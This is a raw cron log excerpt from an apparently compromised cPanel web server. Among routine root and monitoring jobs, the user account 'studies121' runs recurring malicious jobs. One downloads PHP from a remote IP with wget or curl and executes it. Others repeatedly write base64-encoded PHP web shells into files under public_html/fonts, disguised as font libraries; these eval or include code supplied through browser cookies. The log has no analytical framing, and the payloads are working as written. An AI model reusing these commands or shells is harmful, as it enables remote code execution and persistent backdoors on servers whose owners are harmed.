Sep  6 22:34:01 ip-184-168-122-23 CROND[6434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:34:01 ip-184-168-122-23 CROND[6436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:34:01 ip-184-168-122-23 CROND[6438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:34:01 ip-184-168-122-23 CROND[6435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:34:01 ip-184-168-122-23 CROND[6437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:35:01 ip-184-168-122-23 CROND[6529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6535]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:35:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:35:01 ip-184-168-122-23 CROND[6537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:36:01 ip-184-168-122-23 CROND[6632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:36:01 ip-184-168-122-23 CROND[6634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:36:01 ip-184-168-122-23 CROND[6636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:36:01 ip-184-168-122-23 CROND[6635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:36:01 ip-184-168-122-23 CROND[6637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:37:01 ip-184-168-122-23 CROND[6727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:37:01 ip-184-168-122-23 CROND[6729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:37:01 ip-184-168-122-23 CROND[6732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:37:01 ip-184-168-122-23 CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:38:01 ip-184-168-122-23 CROND[6827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:38:01 ip-184-168-122-23 CROND[6829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:38:01 ip-184-168-122-23 CROND[6830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:38:01 ip-184-168-122-23 CROND[6833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:38:01 ip-184-168-122-23 CROND[6832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:39:01 ip-184-168-122-23 CROND[7012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:39:01 ip-184-168-122-23 CROND[7014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:39:01 ip-184-168-122-23 CROND[7017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:39:01 ip-184-168-122-23 CROND[7018]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 22:39:01 ip-184-168-122-23 CROND[7016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:40:01 ip-184-168-122-23 CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:40:01 ip-184-168-122-23 CROND[7115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:40:01 ip-184-168-122-23 CROND[7116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:41:01 ip-184-168-122-23 CROND[7202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:41:01 ip-184-168-122-23 CROND[7203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:41:01 ip-184-168-122-23 CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:41:01 ip-184-168-122-23 CROND[7205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:42:01 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:42:01 ip-184-168-122-23 CROND[7283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:42:01 ip-184-168-122-23 CROND[7284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:42:01 ip-184-168-122-23 CROND[7286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:42:01 ip-184-168-122-23 CROND[7290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:43:01 ip-184-168-122-23 CROND[7368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:43:01 ip-184-168-122-23 CROND[7370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:43:01 ip-184-168-122-23 CROND[7371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:43:01 ip-184-168-122-23 CROND[7372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:44:01 ip-184-168-122-23 CROND[7548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:44:01 ip-184-168-122-23 CROND[7550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:44:01 ip-184-168-122-23 CROND[7552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:44:01 ip-184-168-122-23 CROND[7554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:44:01 ip-184-168-122-23 CROND[7551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:45:01 ip-184-168-122-23 CROND[7638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:45:01 ip-184-168-122-23 CROND[7643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:45:01 ip-184-168-122-23 CROND[7642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:45:01 ip-184-168-122-23 CROND[7641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:45:01 ip-184-168-122-23 CROND[7644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:45:01 ip-184-168-122-23 CROND[7640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:46:01 ip-184-168-122-23 CROND[7729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
